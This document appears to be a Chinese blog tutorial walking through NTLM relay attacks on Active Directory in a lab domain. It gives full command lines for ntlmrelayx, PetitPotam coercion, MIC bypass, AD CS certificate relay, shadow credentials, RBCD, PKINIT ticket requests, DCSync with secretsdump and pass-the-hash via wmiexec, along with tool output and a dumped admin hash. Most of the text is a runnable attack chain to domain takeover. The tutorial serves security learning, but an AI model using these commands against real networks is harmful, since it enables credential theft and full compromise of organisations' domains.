攻击的思路可以从域内目标资源对象来展开,分为
针对 ADCS 的攻击
针对 域内主机资源的 RBCD 攻击
针对 当前计算机的攻击
针对 影子账户的攻击
--add-computer
启动监听器
利用 ntlmrelay 工具中的参数 --add-computer
python3 ntlmrelayx.py -t ldaps://dc01.hack.lab --add-computer JustTest$ --remove-mic
修改数据包中的值,需要切换协议,因此需要绕过mic验证,使用到参数 --remove-mic
JustTest$ 为新增的机器账户名
触发认证
可以通过诱导、欺骗和强制验证等手段触发目标NTLM验证,这里使用 PetitPotam 进行强制认证
python3 PetitPotam.py -d hack.lab -u spiderman -p 123.com 20.20.20.100 20.20.20.6
效果分析
可以看到成功创建了机器账户
查看 mS-DS-CreatorSID 属性,再通过 SID 反查可以看到是辅域控机器账户添加的(20.20.20.6)
AdFind.exe -h 20.20.20.5 -u spiderman -up 123.com -b "DC=hack,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID
$objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-2102;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

拓展
# 0x02 修改目标服务器 RBCD 属性
> --delegate-access
> --escalate-user
## 攻击原理
强制 NTLM 验证后对目标服务器 RBCD 属性进行修改,指向一个新的机器账户(或已存在的)。之后的流程就和 RBCD 攻击一致,利用该机器账户进行后渗透(DCSync)
条件:
- 域控支持 LDAPS 协议
- 能创建机器账户或已有可控的机器账户
## 攻击流程
> 环境简介
> 域名 - hack.lab
> 域控 - DC01 - 20.20.20.5
> 辅域 - F2016 - 20.20.20.6
> 域主机 - USER01 - 20.20.20.10
> Kali - 20.20.20.100
1. 创建机器账户
[bloodyAD](https://github.com/CravateRouge/bloodyAD)
```shell
python3 bloodyAD.py -d hack.lab -u spiderman -p '123.com' --host 20.20.20.5 addComputer CPT001 '123.com'
python3 addcomputer.py hack.lab/spiderman:123.com -method LDAPS -computer-name CPT001\$ -computer-pass 123.com -dc-ip DC01.hack.lab
由于需要跨协议中继,需要绕过 mic 验证 ,结合 CVE-2019-1040 漏洞执行
如果不使用 --remove-mic 参数,会出现以下报错:
此外,ntlmrelay工具集成了前两步的功能,直接创建机器账户并修改中继修改目标的 RBCD 属性
python3 ntlmrelayx.py -t ldaps://DC01.hack.lab -smb2support --delegate-access --remove-mic
图中直接显示创建的随机名字和密码

后续的使用就是通过 getST.py 脚本申请服务票据和使用
python3 getST.py -spn cifs/USER01.hack.lab -impersonate administrator hack.lab/CPT001\$:123.com -dc-ip 20.20.20.5
--dump-adcs
通过 LDAP 获得域的 ADCS 配置(注册服务和证书模板,以及它们的访问权限),以便能够在没有域账户的情况下知道 ADCS 中继的目标服务器和模板。
网络证书注册服务在其默认配置中容易受到 NTLM Relay 的影响,允许攻击者请求认证他们中继的用户或机器的证书并接管他们的账户
检查由域的TLS服务提供的TLS证书中的信息
查看本地机器账户的证书
Get-ChildItem Cert:\LocalMachine\Root\
确定了AD CS的ip为 20.20.20.6
设置监听器
使用 ntlmrelay 作为中继监听器
参数 --dump-adcs 用于转储AD CS注册服务和证书模板信息
python3 ntlmrelayx.py -debug -t ldap://20.20.20.5 --dump-adcs --remove-mic
强制NTLM认证
python3 PetitPotam.py -u spiderman -p 123.com -d hack.lab 20.20.20.100 20.20.20.6
获得域内信息
在 F2016.hack.lab 主机上存在一个注册服务,任何经过认证的用户都可以在上面申请证书。可以获取到允许使用模板的用户有哪些
其次还通过LDAP对域内进行信息收集,并在本地保存了关键信息
在域内配置了AD CS的情况下,可以通过NTLM Relay攻击获取到的证书进行申请 TGT 操作。
关于证书攻击的部分可以查看之前的一些文章
前置条件:
在下面的实验中,攻击目标为域控 DC01$。如果域控支持 PKINIT 协议,在获取到域控的证书后,可以基于 PKINIT 协议申请 TGT。
设置监听器
使用ntlmrelay工具进行监听
python3 ntlmrelayx.py -debug -smb2support --target http://20.20.20.6/certsrv/certfnsh.asp --adcs --template DomainController
强制认证
简单演示,使用 PetitPotam 工具进行强制认证
python3 PetitPotam.py -u spiderman -p 123.com -d hack.lab 20.20.20.100 20.20.20.5
证书处理
执行上述两条命令后,可以看到获取到一串 Base64 证书信息,将其保存至 DC01_base64.txt 文件中
将其解密为 .pfx 文件
cat DC01_base64.txt | base64 -d > dc01.pfx
python3 gettgtpkinit.py -cert-pfx dc01.pfx hack.lab/DC01$ dc01.ccache
2022-10-04 12:15:43,821 minikerberos INFO b12ef2da16bdd741749a2ec30e67f0507ba38d7bb72f1c11034bc7160be98e50
INFO:minikerberos:b12ef2da16bdd741749a2ec30e67f0507ba38d7bb72f1c11034bc7160be98e50
2022-10-04 12:15:43,823 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
思路1 - 获取域控Hash
KRB5CCNAME=dc01.ccache python3 getnthash.py -key b12ef2da16bdd741749a2ec30e67f0507ba38d7bb72f1c11034bc7160be98e50 hack.lab/DC01$
思路2 - 执行DCSync攻击并横向
KRB5CCNAME=dc01.ccache python3 secretsdump.py -k hack.lab/DC01\$@DC01.hack.lab -no-pass -just-dc-user administrator
python3 wmiexec.py -hashes :42e2656ec24331269f82160ff5962387 hack.lab/administrator@DC01.hack.lab -dc-ip 20.20.20.5
PS:如果出现如下报错信息
[-] ERROR_DS_NAME_ERROR_NOT_UNIQUE: Name translation: Input name mapped to more than one output name.
就使用 -just-dc-user administrator 参数指定对象
这种情况下申请 TGT 票据会出现以下错误:
KDC_ERR_PADATA_TYPE_NOSUPP Detail: "KDC has no support for PADATA type (pre-authentication data)"
因此只能曲线就过了 —— 需要结合PTC攻击新思路,使用 PassTheCert 工具对LDAP服务器进行认证并进一步执行其他攻击思路。
工具地址 - PassTheCert
域内环境:
域控 - 20.20.20.5
辅域控(AD CS) - 20.20.20.6
域内主机 - 20.20.20.10
Kali - 20.20.20.100
使用 Certipy 工具获取 pfx 文件中的密钥和证书信息
certipy cert -pfx NoPKI02.pfx -nokey -out NoPKI02.crt
certipy cert -pfx NoPKI02.pfx -nocert -out NoPKI02.key
使用 passthecert.py 创建机器账户
python3 passthecert.py -action add_computer -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -computer-name NoPKI02$ -computer-pass 123.com
使用 passthecert.py 添加 RBCD 属性
python3 passthecert.py -action write_rbcd -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -delegate-from NoPKI02$ -delegate-to DC01$
后渗透:申请TGT及攻击
python3 getST.py -spn cifs/DC01.hack.lab -impersonate administrator hack.lab/NoPKI02\$:123.com -dc-ip 20.20.20.5
KRB5CCNAME=administrator.ccache python3 wmiexec.py -k hack.lab/administrator@DC01.hack.lab -no-pass -dc-ip 20.20.20.5
# 0x05 修改 Shadow Credentials 属性 | 影子账户
> --shadow-credentials
## 攻击原理
在支持 PKINIT 协议的域内环境,若目标机器账户存在 msDS-KeyCredentialLink 属性(公钥信息),在预认证中,可以使用对应的证书(私钥信息)进行验证身份。
通过 NTLM Relay 攻击强制修改目标服务器的 msDS-KeyCredentialLink 属性,使用私钥信息申请 TGT,实现对目标对象持久和隐蔽的访问
具体的原理在[之前的文章](https://forum.butian.net/share/1607)中有详细介绍过
条件:
- 目标服务器支持 PKINIT 协议
- 域控制器版本在Windows Server 2016以上
- 域内安装了AD CS服务
## 攻击流程
1. 开启监听器
使用[ntlmrelayx.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py)工具开启监听, --remove-mic 参数用于跨协议时LDAP签名的消除
```shell
python3 ntlmrelayx.py -t ldap://DC01.hack.lab --remove-mic --shadow-credentials --shadow-target F2016$
生成了对应的证书,由于需要结合AD CS使用,也分为两种情况:
支持 PKINIT 协议和不支持 PKINIT 协议
详情可以参考上一部分
CVE-2021-34470
绕过创建机器账户的限制
在域中对普通用户限制创建机器账户的情况下,利用 Exchange 安装中一个有漏洞的LDAP模式对象,执行添加机器账户操作。
背景:
由于域内用户权限不正确及配置的不当,导致用户创建机器账户进行域内渗透攻击。
因此,在常见的域内加固过程中,对域用户创建机器账户进行限制主要可以通过以下两种方法:
该漏洞在2021年7月由James Forshaw公布,编号为CVE-2021-34470,一个计算机账户可以在自己下面创建一个msExchStorageGroup对象,然后在这个对象下可以创建许多类型的额外对象,包括机器账户。
简而言之,利用 Exchange 中存在缺陷的对象创建机器账户
相关攻击方式已经集成至 ntlmrelay 中的 --add-computer 参数中,详情见该pull
工具使用可以查看 --add-computer 部分
26 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!